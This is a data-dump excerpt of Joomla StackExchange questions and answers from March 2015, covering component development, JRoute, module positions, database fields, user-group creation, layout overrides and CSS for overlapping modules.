  <row Id="8947" PostTypeId="2" ParentId="8946" CreationDate="2015-03-07T17:44:46.023" Score="1" Body="&lt;p&gt;Don't comment just replace 'SET OPTION SQL_BIG_SELECTS=1' with 'SET SQL_BIG_SELECTS=1'. Apparently the syntax changed with mySQL 5.6 or something.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;After a little more searching, this error message occurs because your&#xA;  host has updated to MySQL 5.6. The query SET OPTIONS SQL_BIG_SELECTS=1&#xA;  fails because the new syntax is SET SQL_BIG_SELECTS=1 (without the&#xA;  OPTIONS keyword).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;https://www.akeebabackup.com/support/akeeba-backup-3x/14912-aeabstractdump--database-error.html&quot; rel=&quot;nofollow&quot;&gt;https://www.akeebabackup.com/support/akeeba-backup-3x/14912-aeabstractdump--database-error.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2309" LastEditorUserId="2309" LastEditDate="2015-03-07T17:54:45.787" LastActivityDate="2015-03-07T17:54:45.787" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="8948" PostTypeId="1" CreationDate="2015-03-07T18:00:18.150" Score="4" ViewCount="717" Body="&lt;p&gt;I am modifying a component. In its model file, it creates a class that extends JModelAdmin. In its save() function, it takes form data, then calls parent:save(). I am trying to get the id of the newly added row. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am new to joomla, but I know the $this variable should contain relevant info. $this-&gt;id does not return the newly created id, but rather, 0. I think this makes sense since $this would not know about the id created in the parent save function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what do I do to get the id from the parent save?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&#xA;Brian&lt;/p&gt;&#xA;" OwnerUserId="2321" LastActivityDate="2015-04-06T19:09:45.773" Title="How to retrieve id of newly added row in JModelAdmin?" Tags="|component|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8949" PostTypeId="2" ParentId="8948" CreationDate="2015-03-07T18:25:37.300" Score="7" Body="&lt;p&gt;It is saved in the model state. You can retrieve it with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;getState($this-&amp;gt;getName() . '.id');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-03-07T18:25:37.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8950" PostTypeId="2" ParentId="8948" CreationDate="2015-03-07T18:26:06.590" Score="0" Body="&lt;p&gt;Nevermind. Figured it out after some more research.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$this-&gt;getState($this-&gt;getName().'.id')&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Man, there are some convoluted posts out there about how to do this! Glad I found something this elegant!&lt;/p&gt;&#xA;" OwnerUserId="2321" LastActivityDate="2015-03-07T18:26:06.590" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8951" PostTypeId="2" ParentId="8936" CreationDate="2015-03-07T18:46:21.947" Score="1" Body="&lt;p&gt;If you are talking about what I think:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;file: administrator/components/com_jforms/plugins/storage/database/database.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;function: onFormCreate&lt;/p&gt;&#xA;" OwnerUserId="2309" LastEditorUserId="2309" LastEditDate="2015-03-08T00:37:15.617" LastActivityDate="2015-03-08T00:37:15.617" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8952" PostTypeId="2" ParentId="8943" CreationDate="2015-03-07T18:51:46.793" Score="1" Body="&lt;p&gt;Joomla does not allow an article to be placed in multiple categories.&lt;/p&gt;&#xA;&lt;p&gt;But still we can alter the category blog layout to display the desired content.&lt;/p&gt;&#xA;&lt;p&gt;This can be achieved using &lt;a href=&quot;https://docs.joomla.org/How_to_override_the_output_from_the_Joomla!_core&quot; rel=&quot;nofollow noreferrer&quot;&gt;template overriding&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;You need to override category blog layout template and place your code which will check whether the current category is the same in which you want to display that article then fetch the article data and render its content.&lt;/p&gt;&#xA;&lt;p&gt;This is some sort of a patch you can say, so in case you need to achieve this scenario for large set of articles and categories then you need to write a little generalized code.&lt;/p&gt;&#xA;" OwnerUserId="396" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2015-03-07T18:51:46.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8953" PostTypeId="1" CreationDate="2015-03-07T23:59:47.423" Score="3" ViewCount="1496" Body="&lt;p&gt;I needed to get JRoute working in backend so that from admin I can create an event with my event component and have an email sent that contains the SEF url. After researching, I found some tips that involve setting the app instance to site, call JRoute, then set app back to admin. However, while I am getting the SEF url, something isn't quite right during the redirect after the event creation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is how I do this, which is basically a copy from an older post I found:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$live_site = substr(JURI::root(), 0, -1);&#xA;    if(JPATH_BASE == JPATH_ADMINISTRATOR) {&#xA;        // In the back end we need to set the application to the site app instead in order for JRoute to work&#xA;        JFactory::$application = JApplication::getInstance('site');&#xA;    }&#xA;&#xA;    // Create the URL&#xA;    $url = $live_site . JRoute::_('index.php?option=com_icagenda&amp;amp;view=list&amp;amp;layout=event&amp;amp;id=' . $id . '&amp;amp;Itemid=' . $Itemid);&#xA;&#xA;    // Check if we are in the backend again&#xA;    if(JPATH_BASE == JPATH_ADMINISTRATOR) {&#xA;         // In backend we need to remove administrator from URL as it is added even though we've set the application to the site app&#xA;        $eventLink= str_replace($live_site .'/administrator', $live_site, $url);&#xA;        // Set the appilcation back to the administartor app&#xA;        JFactory::$application = JApplication::getInstance('administrator');&#xA;    }               &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above seems to work, but the problem is during the redirect, after the event has been created and the email sent. Normally, the event view page in admin has this type of url:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;administrator/index.php?option=com_icagenda&amp;amp;layout=edit&amp;amp;id=23&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But because of the JApplication::getInstance business, the redirect url is messed up and I get a 500 error. The messed up url has this form&lt;/p&gt;&#xA;&#xA;&lt;p&gt;administrator/index.php/component/icagenda/?view=event&amp;amp;layout=edit&amp;amp;id=23&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think maybe the solution I pasted was from Joomla 1.5 and so maybe I need to do something differently in 3? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2321" LastActivityDate="2015-03-12T13:42:27.850" Title="Using JRoute in the backend? Almost figured it out, help needed" Tags="|sef|jroute|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8954" PostTypeId="2" ParentId="8945" CreationDate="2015-03-08T12:01:37.693" Score="1" Body="&lt;p&gt;Just checking your JS, maybe it should be written like this, providing that it is a jQuery dependant script :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$js = &quot;&#xA;    jQuery(document).ready(function() {&#xA;                    //your code&#xA;                });&#xA;            &quot;;&#xA;JFactory::getDocument()-&amp;gt;addScriptDeclaration($js);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JFactory::getDocument()-&amp;gt;addScriptDeclaration(&quot;&#xA;jQuery(function($) {&#xA;    //your code&#xA;});&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="270" LastActivityDate="2015-03-08T12:01:37.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8955" PostTypeId="2" ParentId="5907" CreationDate="2015-03-08T13:03:36.290" Score="2" Body="&lt;p&gt;Vik Appointments has this capability of hourly bookings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/extension/vertical-markets/booking-a-reservations/vik-appointments&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extensions/extension/vertical-markets/booking-a-reservations/vik-appointments&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Demo: &lt;a href=&quot;http://extensionsforjoomla.com/livedemo/vikappointments/&quot; rel=&quot;nofollow&quot;&gt;http://extensionsforjoomla.com/livedemo/vikappointments/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My only gripe is that it doesn't work running on localhost on your desktop computer.&lt;/p&gt;&#xA;" OwnerUserId="3485" LastActivityDate="2015-03-08T13:03:36.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8956" PostTypeId="2" ParentId="8945" CreationDate="2015-03-08T13:43:42.323" Score="1" Body="&lt;p&gt;There are quite a number of ways to call AJAX without com_ajax.  Look at &lt;a href=&quot;https://joomla.stackexchange.com/questions/146/what-is-the-proper-way-to-make-an-ajax-call-in-component/2541#2541&quot;&gt;What Is The Proper Way To Make An AJAX Call&lt;/a&gt; to understand and choose a method, and then apply your search logic accordingly.&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2015-03-08T13:43:42.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8957" PostTypeId="1" AcceptedAnswerId="8958" CreationDate="2015-03-08T21:35:39.723" Score="3" ViewCount="125" Body="&lt;p&gt;My template has many positions where I can display modules. The problem is that they have names like featured 1, featured 2, banner 1, banner 2, user 1, user 2, user 3 and so on. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everytime I have to create a new module, I have to try various positions to find where I will finaly place the module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I find where these positions are on my template?&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-03-10T16:35:14.193" LastActivityDate="2015-03-10T16:35:14.193" Title="How to know the available module positions on my template?" Tags="|templates|module-display|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8958" PostTypeId="2" ParentId="8957" CreationDate="2015-03-08T21:35:39.723" Score="5" Body="&lt;p&gt;&lt;strong&gt;Joomla Template Manager&lt;/strong&gt; provides an easy way to reveal the available module positions of the active template on each page.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First you have to enable the feature from the backend.&lt;br&gt;&#xA;From the Admin Menu, Go to:   &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Extensions -&gt; Template Manager.&lt;/strong&gt;  &lt;/li&gt;&#xA;&lt;li&gt;Click the &lt;strong&gt;Options&lt;/strong&gt; Button, on the Toolbar.  &lt;/li&gt;&#xA;&lt;li&gt;In &lt;strong&gt;Template Manager Options&lt;/strong&gt;, enable the &lt;strong&gt;Preview Module Positions&lt;/strong&gt; (if disabled).&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Save&lt;/strong&gt; the options.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;With the feature enabled, you can now force Joomla to preview the module positions on each page in the front-end, you want to see the them.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do with the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add at the end of the url the &quot;&lt;strong&gt;tp=1&lt;/strong&gt;&quot; parameter/value.&lt;br&gt;&#xA; - With SEF URLs enabled, add &quot;?tp=1&quot;, at the end of your sef url.&lt;br&gt;&#xA; - With SEF disabled, add &quot;&amp;amp;tp=1&quot;, at the end of the url.&lt;br&gt;&#xA; - Click enter to re-load the page with the new parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla will display the available module positions of this page.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Update:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Thanks to Lodder's feedback below, I should mention that is a good practice to disable this feature after finishing with the task of viewing the module positions.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-03-09T01:33:39.680" LastActivityDate="2015-03-09T01:33:39.680" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8959" PostTypeId="2" ParentId="8957" CreationDate="2015-03-08T23:40:44.653" Score="4" Body="&lt;p&gt;A Google images search for &quot;module positions TEMPLATENAME&quot; will often return images with available module positions. This works very well for the default Joomla templates (like Protostar, Beez etc.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many (most) commercial templates include an overview of available module positions. In addition, they tend to use the same positions (or only small variations) for all templates they release. Available module positions can be found in the demo-version of the template, by looking for a menu item called &quot;Module Positions&quot; or similar, giving a clear, schematic view of all positions.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-03-08T23:40:44.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8960" PostTypeId="1" AcceptedAnswerId="8963" CreationDate="2015-03-09T05:53:23.740" Score="1" ViewCount="691" Body="&lt;p&gt;Working for joomla component development, Joomla provides us many of the functionality for free like sorting, pagination, validation, categorization etc. But when I look at DB tables of components there are some default fields.  I know the use of most of them but what are the use of following fields? &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Ordering   &lt;/li&gt;&#xA;&lt;li&gt;state   &lt;/li&gt;&#xA;&lt;li&gt;checked-out&lt;/li&gt;&#xA;&lt;li&gt;publish_up&lt;/li&gt;&#xA;&lt;li&gt;publish_down&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;now state can store 0 1 2 -2 values to know the status of current record then why Joomla use publish_up and publish_down and ordring&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the use of these, what are we deprived of  if our component's DB table don't have these fields?  How do they work and why are they needed? &lt;/p&gt;&#xA;" OwnerUserId="3553" LastEditorUserId="3553" LastEditDate="2015-03-09T08:44:22.040" LastActivityDate="2015-03-09T09:42:31.337" Title="Joomla default fields in Data Base table" Tags="|joomla-2.5|joomla-3.3.x|joomla-framework-1.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8961" PostTypeId="1" AcceptedAnswerId="10263" CreationDate="2015-03-09T05:59:52.933" Score="1" ViewCount="426" Body="&lt;p&gt;when we extends JmodelList for handling list of data in our List_Model in construct function we define filter_fields in config array like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config[filter_fields]=array('field1','a.field1','field2','a.field2');&#xA;parent::__construct($config);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i'm wondering about the structure of defining filter_fields array in config array&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;why we define every fields two time and how they will be used by joomla.?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3553" LastEditorUserId="3553" LastEditDate="2015-03-16T05:58:35.107" LastActivityDate="2015-06-02T11:36:56.887" Title="Structure to define filter_fields in JmodelList.?" Tags="|joomla-3.x|joomla-3.3.x|joomla-framework-1.x|model|jmodel|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8962" PostTypeId="1" CreationDate="2015-03-09T07:28:48.160" Score="1" ViewCount="109" Body="&lt;p&gt;I am configuring the simplecalendar module in Joomla 3.2.2&#xA;Wich seems not to be capable of displaying the category of an event in the module?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the backend there is a line loading different parameters of an event like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{START_DATE}: {NAME}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already tryed &lt;code&gt;{CATEGORY}&lt;/code&gt;, &lt;code&gt;{CATNAME}&lt;/code&gt;, &lt;code&gt;{CAT}&lt;/code&gt; and some more, but none of them do the trick.&#xA;When trying &lt;code&gt;{CATEGORY}&lt;/code&gt; it even gives me an output, but it just says &quot;Error!&quot;, even though all events are in some sort of category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did search for a solution on the developers site, but the contact and the forum seem to be dead.&lt;/p&gt;&#xA;" OwnerUserId="3550" LastActivityDate="2015-03-25T20:39:02.680" Title="SimpleCalendar - display category in module" Tags="|module|front-end|module-params|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8963" PostTypeId="2" ParentId="8960" CreationDate="2015-03-09T09:42:31.337" Score="3" Body="&lt;p&gt;All these fields are optional.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;ordering&lt;/code&gt; - the ordering of your items in the table which can be&#xA;used to display items in defined order &lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;state&lt;/code&gt; - the state of your item. For example in CMS it is: &lt;code&gt;-2&lt;/code&gt; for trashed, &lt;code&gt;0&lt;/code&gt; for unpublished, &lt;code&gt;1&lt;/code&gt; for published and &lt;code&gt;2&lt;/code&gt; for archived items.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;checked_out&lt;/code&gt; - stores the &lt;code&gt;user_id&lt;/code&gt; who currently is editing an item. Useful when you do not want to allow several users to edit the same item in the same time. Often is used together with &lt;code&gt;checked_out_time&lt;/code&gt; which stores the time when an item was checked out.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;publish_up&lt;/code&gt; - the date and time when to publish an item (change the state to published) &lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;publish_down&lt;/code&gt; - the date and time when to unpublish an item (change the state to unpublished)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you will use them then CMS will handle common operations on them automatically. For example in &lt;code&gt;JTable&lt;/code&gt; class (&lt;code&gt;/libraries/joomla/table/table.php&lt;/code&gt;) you will find different methods which handle processes connected with these fields, for example: &lt;code&gt;reorder()&lt;/code&gt;, &lt;code&gt;checkIn()&lt;/code&gt;, &lt;code&gt;checkOut()&lt;/code&gt;. The same you can find in the &lt;code&gt;Models&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3" LastActivityDate="2015-03-09T09:42:31.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8965" PostTypeId="2" ParentId="8943" CreationDate="2015-03-09T09:59:57.560" Score="0" Body="&lt;p&gt;The easiest way is to copy the article and save it to the desired category: Edit article, than save as copy, choose different category...save.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And there is another, different option. You can label the requestet article as &quot;main&quot; and display only main articles of the same or different categorys under one menu-item or something like that, module and so on...&lt;/p&gt;&#xA;" OwnerUserId="3834" LastEditorUserId="3834" LastEditDate="2015-03-11T16:34:21.523" LastActivityDate="2015-03-11T16:34:21.523" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8967" PostTypeId="1" CreationDate="2015-03-09T16:43:17.983" Score="0" ViewCount="741" Body="&lt;p&gt;i basically want a contact information form module on top of a google maps module so the google maps are a type of background and the form itself is around 30% of the container. This is perfectly illustrated in smartaddons sj zaga template, but i cant find anywhere here how it is done. I presume it has something to to with z-index in css for which one will be in front, and probably a setting of margin-left set to a minus value for the second module?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also want to arrange in a similar manner a slideshow module underneath a reservation form.. &lt;/p&gt;&#xA;" OwnerUserId="3839" LastActivityDate="2015-04-08T23:40:12.330" Title="How to put 2 modules on top of each other?" Tags="|joomla-3.x|module|module-display|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="8969" PostTypeId="1" CreationDate="2015-03-09T17:22:13.723" Score="0" ViewCount="87" Body="&lt;p&gt;I have been working on a custom component but now hit on an issue where I need to set up groups for ACL reasons. However, I cannot seem to find a valid method - I've crashed things so far. The group setup happens in the installation script, or at least should. A previous answer suggested this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JModelLegacy::addIncludePath( JPATH_ADMINISTRATOR . &#xA;                '/components/com_users/models/', 'UsersModel' );&#xA;$groupModel = JModelLegacy::getInstance( 'Group', 'UsersModel' );&#xA;&#xA;&#xA;$groupData = array(&#xA;    'title' =&amp;gt; &quot;NHCommision&quot;,&#xA;    'parent_id' =&amp;gt; 5,&#xA;    'id' =&amp;gt; 9&#xA;);&#xA;&#xA;$groupModel-&amp;gt;save( $groupData );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, it doesn't seem to be working in the final version of 2.5. Based on the &quot;Legacy&quot; add it might be ment for 3.0 - is there a 2.5 equivalent?&lt;/p&gt;&#xA;" OwnerUserId="3840" LastActivityDate="2015-04-08T18:40:09.487" Title="Using PHP in Joomla 2.5, is there a decent way to create groups without going through the menu or SQL?" Tags="|php|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8970" PostTypeId="2" ParentId="8969" CreationDate="2015-03-09T17:46:17.393" Score="1" Body="&lt;p&gt;This code is actually for Joomla 3.x, and I skipped v2.5, so can't be sure that it will work, but if not, perhaps it will give you a starting point to find the v2.5 equivalent:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $basePath = JPATH_ADMINISTRATOR.'/components/com_users';&#xA;require_once $basePath.'/models/group.php';&#xA;require_once $basePath.'/models/level.php';&#xA;&#xA;$model = new UsersModelGroup(array('table_path' =&amp;gt; $basePath.'/tables'));&#xA;$data = array('id'=&amp;gt;0, 'parent_id' =&amp;gt; '2','title'=&amp;gt;'MyUserGroup');&#xA;if(!$model-&amp;gt;save($data)){&#xA;    ...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="64" LastActivityDate="2015-03-09T17:46:17.393" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8971" PostTypeId="1" AcceptedAnswerId="8977" CreationDate="2015-03-09T18:24:07.370" Score="4" ViewCount="5505" Body="&lt;p&gt;I have looked at other questions on this matter, but would like to be clear on what is the 'correct' approach to this.&#xA;Example: &lt;a href=&quot;https://stackoverflow.com/questions/13715665/joomla-override-category-blog-output-multiple-times&quot;&gt;https://stackoverflow.com/questions/13715665/joomla-override-category-blog-output-multiple-times&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have already created an override for the category blog layout, this effects any menu items etc that point towards the Category Blog layout in my template.&lt;br&gt;&#xA;//templates/template_name/html/com_content/category/blog.php / blog_children.php etc etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would now like to do is create a completely separate blog layout. Specifically this is for a Shop category in the main menu. I would like to style this completely differently to how my main category blog override is already created. What is the 'correct' method to complete this? Are there any walkthroughs/explanations on what needs to be created where to get me started.  &lt;/p&gt;&#xA;" OwnerUserId="3712" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2020-02-22T16:10:59.277" Title="Creating multiple layout overrides for category blog layout" Tags="|joomla-3.x|overrides|template-override|layout|category|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8972" PostTypeId="1" CreationDate="2015-03-09T22:39:48.940" Score="2" ViewCount="854" Body="&lt;p&gt;I am doing custom form validation at admin side and below is the sample javascript code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Joomla.submitbutton = function(task)&#xA;  if(condition){&#xA;    document.getElementById('jform_acc_reseller_id').required=true;&#xA;    document.formvalidator.isValid(document.id('account-form'));&#xA;    return;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above code just shows the standard error message as below&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Invalid field: the field label&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead I would like to show a custom error message like below&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Invalid field: the field label : Please Select reseller user&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is that possible?&lt;/p&gt;&#xA;" OwnerUserId="2239" LastEditorUserId="2239" LastEditDate="2015-03-12T20:57:46.830" LastActivityDate="2015-04-19T06:44:14.753" Title="Custom bootstrap error message" Tags="|form|administration|validations|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8973" PostTypeId="2" ParentId="8967" CreationDate="2015-03-09T23:37:11.780" Score="1" Body="&lt;p&gt;The problem is that the two modules (the map and the contact form) both use a div with the same class: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;ctajax-element&quot;&amp;gt;&#xA;    // Map displayed here&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;ctajax-element&quot;&amp;gt;&#xA;    // Contact form displayed here&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This means that you can't target any of the &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; elements individually. You have to change these div's (or add an additional class) in order to be able to target each of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;ctajax-element mymap&quot;&amp;gt;&#xA;    // Map displayed here&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;ctajax-element myform&quot;&amp;gt;&#xA;    // Contact form displayed here&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then add the following CSS:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.ctajax-element.myform {&#xA;   position: absolute;&#xA;   width: 40%!important;&#xA;}&#xA;&#xA;.ctajax-element.mymap {&#xA;   width: 100%!important;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The result should look something like this: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vhpJJ.jpg&quot; alt=&quot;Contact form with Google map&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-03-09T23:37:11.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8975" PostTypeId="1" AcceptedAnswerId="8979" CreationDate="2015-03-10T04:39:32.110" Score="0" ViewCount="290" Body="&lt;p&gt;I'm using Joomla latest version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My website url is &lt;a href=&quot;http://beta.ahaliaexchange.com/&quot; rel=&quot;nofollow&quot;&gt;http://beta.ahaliaexchange.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to navigate into maincontent area for inner pages without loading the slider.&lt;/p&gt;&#xA;" OwnerUserId="3843" LastEditorUserId="3843" LastEditDate="2015-03-10T10:22:05.410" LastActivityDate="2015-03-10T10:22:05.410" Title="Adding anchor with joomla article menu" Tags="|joomla-3.x|templates|" AnswerCount="2" CommentCount="1" ClosedDate="2015-03-11T08:56:17.193" ContentLicense="CC BY-SA 3.0" />
  <row Id="8976" PostTypeId="2" ParentId="8975" CreationDate="2015-03-10T04:53:14.680" Score="1" Body="&lt;p&gt;I assume your slider is a module, and it looks like it's published to a position called &quot;Banner&quot; (or similar).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can control on what pages a module is visible using the &quot;Menu assignment&quot; settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to &lt;strong&gt;Extensions&lt;/strong&gt; -&gt; &lt;strong&gt;Module manager&lt;/strong&gt;. Locate your slider module in the list, and click the name to open it. In the &quot;Menu Assignment&quot; tab, choose &lt;strong&gt;Only on the pages selected&lt;/strong&gt; from the dropdown list, and check only the pages where you want the module to be visible, e.g. &quot;Home&quot;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kaV9r.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-03-10T04:53:14.680" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="8977" PostTypeId="2" ParentId="8971" CreationDate="2015-03-10T08:28:35.860" Score="5" Body="&lt;p&gt;You can just duplicate your blog.php override and rename it (e.g. shop.php). At that point it will be available as an alternative layout for Category Blog. You can also add child layouts, like shop_item.php and then reference these from shop.php so you can style each item rendered in the category view.&lt;/p&gt;&#xA;" OwnerUserId="296" LastActivityDate="2015-03-10T08:28:35.860" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
